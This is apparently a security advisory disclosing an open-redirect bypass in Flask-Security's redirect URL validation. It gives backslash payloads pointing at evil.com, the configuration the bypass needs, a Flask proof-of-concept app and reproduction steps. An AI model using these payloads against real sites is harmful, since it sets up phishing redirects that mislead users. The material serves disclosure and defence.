Flask-Security has an Open Redirect issue
# Open Redirect in Flask-Security
Summary
flask_security.utils.validate_redirect_url() can allow an attacker-controlled redirect URL when subdomain redirects are enabled.
The bypass uses a backslash inside the URL authority/host:
```text
http://evil.com\.whitelist.com
http://evil.com%5C.whitelist.com
```
Python's urlsplit() parses the full authority as evil.com\.whitelist.com or evil.com%5C.whitelist.com. Because the value ends with .whitelist.com, validate_redirect_url() accepts it as an allowed subdomain of whitelist.com.
This is similar in class to the previous Flask-Security-Too open redirect advisory CVE-2023-49438 / GHSA-672h-6x89-76m5, where crafted redirect URLs bypassed validation through browser URL normalization behavior.
Affected Configuration
The issue requires subdomain redirects to be enabled:
```python
SERVER_NAME = "whitelist.com"
SECURITY_REDIRECT_ALLOW_SUBDOMAINS = True
```
Tested environment:
```text
Flask-Security: 5.8.0
Flask: 3.1.3
Werkzeug: 3.1.8
```
Impact
An attacker can craft a URL that passes Flask-Security's redirect validation and produces a 302 response to an attacker-controlled URL-like authority.
This can be used for phishing or other attacks that rely on a trusted application redirecting users to an attacker-controlled destination.
Proof of Concept
PoC Flask App
```python
from __future__ import annotations
from importlib.metadata import version
from urllib.parse import urlsplit
from flask import Flask, jsonify, redirect, request
from flask_security.utils import validate_redirect_url
app = Flask(__name__)
app.config.update(
SECRET_KEY="poc-only",
SERVER_NAME="whitelist.com",
SECURITY_REDIRECT_ALLOW_SUBDOMAINS=True,
SECURITY_REDIRECT_BASE_DOMAIN=None,
SECURITY_REDIRECT_ALLOWED_SUBDOMAINS=[],
)
@app.get("/")
def index():
return jsonify(
flask_version=version("Flask"),
configured_server_name=app.config["SERVER_NAME"],
examples=[
r"http://evil.com\.whitelist.com",
"http://evil.com%5C.whitelist.com",
"http://sub.whitelist.com",
"http://sub.not-whitelist.com",
],
)
@app.get("/check")
def check():
next_url = request.args.get("next", "")
parsed = urlsplit(next_url)
return jsonify(
next=next_url,
valid=validate_redirect_url(next_url),
parsed={
"scheme": parsed.scheme,
"netloc": parsed.netloc,
"hostname": parsed.hostname,
"path": parsed.path,
},
)
@app.get("/redir")
def redir():
next_url = request.args.get("next", "")
if not validate_redirect_url(next_url):
return jsonify(error="blocked", next=next_url), 400
return redirect(next_url)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=False)
```
Steps to Reproduce
Run the PoC with the target project's Flask version:
```bash
.venv/bin/python poc_redirect_app.py
```
The invalid comparison case is correctly blocked:
```bash
http://127.0.0.1:5000/redir?next=http://evil.com
```
Observed result:
<img width="1019" height="294" alt="image" src="https://github.com/user-attachments/assets/de25ac4d-b37f-4369-928e-f44dfd5b7557" />
Check the validation result:
```bash
http://127.0.0.1:5000/check?next=http://evil.com%5C.whitelist.com
```
Observed result:
<img width="1029" height="634" alt="image" src="https://github.com/user-attachments/assets/8e5ec8a6-42a4-438a-8d12-a27724519091" />
References
- CVE-2023-49438: https://advisories.gitlab.com/pypi/flask-security-too/CVE-2023-49438/
- GHSA-672h-6x89-76m5: https://osv.dev/vulnerability/CVE-2023-49438
- NVD entry for CVE-2023-49438: https://nvd.nist.gov/vuln/detail/CVE-2023-49438
